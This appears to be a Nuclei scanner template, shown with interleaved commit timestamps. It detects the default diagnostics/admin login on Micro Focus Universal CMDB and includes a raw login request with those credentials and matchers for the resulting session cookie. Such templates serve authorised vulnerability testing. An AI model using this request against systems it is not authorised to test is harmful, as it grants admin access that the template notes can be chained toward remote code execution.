2021-09-21 11:46:53 +00:00
id : ucmdb-default-login
2021-02-26 12:02:05 +00:00
info :
2022-03-07 21:51:17 +00:00
name : Micro Focus Universal CMDB Default Login
2021-02-26 12:02:05 +00:00
author : dwisiswant0
severity : high
2022-03-07 21:51:17 +00:00
description : Micro Focus Universal CMDB default login credentials were discovered for diagnostics/admin. Note there is potential for this to be chained together with other vulnerabilities as with CVE-2020-11853 and CVE-2020-11854.
reference :
- https://packetstormsecurity.com/files/161182/Micro-Focus-UCMDB-Remote-Code-Execution.htm
classification :
cwe-id : CWE-798
2021-04-06 08:15:46 +00:00
tags : ucmdb,default-login
2021-02-26 12:02:05 +00:00
requests :
2021-10-08 16:42:54 +00:00
- raw :
- |
POST /ucmdb-ui/cms/loginRequest.do; HTTP/1.1
2021-10-10 01:21:50 +00:00
Host : {{Hostname}}
2021-10-08 16:42:54 +00:00
2021-10-10 22:29:45 +00:00
customerID=1&isEncoded=false&userName={{username}}&password={{base64(password)}}&ldapServerName=UCMDB
2021-10-08 16:42:54 +00:00
2021-10-10 22:29:57 +00:00
attack : pitchfork
2021-10-08 16:42:54 +00:00
payloads :
username :
- diagnostics
password :
- admin
2021-02-26 12:02:05 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-10-10 22:29:45 +00:00
2021-02-26 12:02:05 +00:00
- type : word
2021-10-10 22:29:45 +00:00
part : header
2021-02-26 12:02:05 +00:00
words :
- "LWSSO_COOKIE_KEY"
2022-03-07 21:51:17 +00:00
# Enhanced by mp on 2022/03/07